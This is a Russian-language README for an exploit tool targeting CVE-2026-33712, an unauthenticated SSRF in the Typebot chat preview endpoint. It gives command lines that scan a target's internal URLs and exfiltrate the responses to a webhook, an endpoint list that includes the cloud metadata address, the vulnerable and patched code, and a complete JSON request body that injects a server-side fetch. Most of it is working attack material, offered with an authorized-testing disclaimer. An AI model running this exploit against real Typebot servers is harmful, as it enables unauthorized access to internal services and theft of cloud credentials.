
CVE-2026-33712 - Typebot <= 3.15.2 Неаутентифицированный SSRF через fetch в песочнице isolated-vm
Typebot <= 3.15.2 (исправлено в 3.16.0) содержит неаутентифицированную уязвимость Server-Side Request Forgery (SSRF) в конечной точке предпросмотра чата.
Конечная точка: POST /api/v1/typebots/{typebotId}/preview/startChat
Конечная точка предпросмотра принимает предоставленное пользователем определение typebot с серверными
блоками Code. Функция fetch(), доступная внутри песочницы isolated-vm, вызывает нативный fetch Node.js
без проверки SSRF validateHttpReqUrl(), которая защищает обычный блок HTTP Request. Это обходит все меры защиты от SSRF.
Этот инструмент предоставляется только в образовательных целях и для авторизованного тестирования безопасности. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом.
__ENV.js| Файл | Описание |
|---|---|
exploit.py | Основной скрипт эксплойта |
endpoints.txt | По одному URL на строку — цели SSRF для сканирования |
requirements.txt | Зависимости Python |
pip install -r requirements.txt
# Одиночный SSRF-запрос
python3 exploit.py -t bot.example.com -u http://127.0.0.1:3000/__ENV.js -w https://webhook.site/your-uuid
# Сканирование всех URL из endpoints.txt
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan
# Автоопределение URL вьюера из __ENV.js билдера
python3 exploit.py -t 192.168.1.10:3011 -w https://webhook.site/your-uuid --detect-viewer --scan
# Пропустить предварительную проверку и принудительно выполнить
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan --force
| Аргумент | Описание |
|---|---|
-t / --target | URL экземпляра Typebot (вьюер или билдер). Схема по умолчанию — http:// |
-u / --url | Внутренний URL для запроса через SSRF (одиночный режим) |
-w / --webhook | URL вебхука для экфильтрованных данных (или переменная окружения WEBHOOK_URL) |
--scan | Сканировать все URL из endpoints.txt |
--detect-viewer | Проверить /__ENV.js на цели, чтобы найти NEXT_PUBLIC_VIEWER_URL и использовать его |
--force | Пропустить предварительные проверки и принудительно выполнить |
--timeout | Таймаут запроса (по умолчанию: 20 с) |
--delay | Задержка между запросами при сканировании (по умолчанию: 0,3 с) |
bot.example.com без http://, оно добавляется автоматически.vulnerable, patched (требуется аутентификация) или endpoint_missing (неверный URL/версия). При сбое завершает работу досрочно, если не задан --force.endpoints.txt, перебирает каждый URL, экфильтрует содержимое на вебхук.По одному «сырому» URL на строку. Пустые строки игнорируются. Никаких комментариев и категорий.
http://127.0.0.1:3000/__ENV.js
http://typebot-builder:3000/
http://169.254.169.254/latest/meta-data/
В packages/variables/src/executeFunction.ts функция fetch(), доступная внутри
песочницы isolated-vm, изначально вызывала нативный fetch Node.js без проверки SSRF:
// УЯЗВИМО (<=3.15.2):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const res = await fetch(input, init); // No validateHttpReqUrl!
return res.text();
}),
});
// ИСПРАВЛЕНО (>=3.16.0):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const request = new Request(input, init);
await validateHttpReqUrl(request.url); // SSRF check added
validateHttpReqHeaders(headers);
}),
});
Исправление (коммит d96f572) также изменило порядок проверок в getTypebot(), так что проверка аутентификации
выполняется до сокращённого пути для пользовательского typebot, а конечная точка предпросмотра вьюера была перенесена
с procedureWithOptionalUser на protectedProcedure.
{
"typebotId": "exploit-id",
"typebot": {
"version": "6",
"id": "exploit-bot",
"workspaceId": "test",
"updatedAt": "2026-01-01T00:00:00.000Z",
"groups": [
{
"id": "group-1", "title": "Start",
"graphCoordinates": {"x": 0, "y": 0},
"blocks": [
{"id": "block-1", "type": "start", "label": "Start", "outgoingEdgeId": "edge-1"}
]
},
{
"id": "group-2", "title": "SSRF",
"graphCoordinates": {"x": 200, "y": 0},
"blocks": [
{
"id": "block-2", "type": "Code",
"outgoingEdgeId": "edge-2",
"options": {
"name": "SSRF",
"content": "const res = await fetch(\"http://127.0.0.1:3000/\"); setVariable(\"result\", res);",
"isExecutedOnClient": false,
"isUnsafe": true
}
}
]
}
],
"edges": [
{"id": "edge-1", "from": {"blockId": "block-1"}, "to": {"groupId": "group-2"}}
],
"events": [
{"id": "event-1", "type": "start", "outgoingEdgeId": "edge-1", "graphCoordinates": {"x": 0, "y": 0}}
],
"variables": [
{"id": "var-1", "name": "result", "value": null}
],
"settings": {"general": {}},
"theme": {"general": {}, "chat": {}}
}
}
Важно: fetch() внутри песочницы уже возвращает .text(), поэтому результат — это
строка, а не объект Response.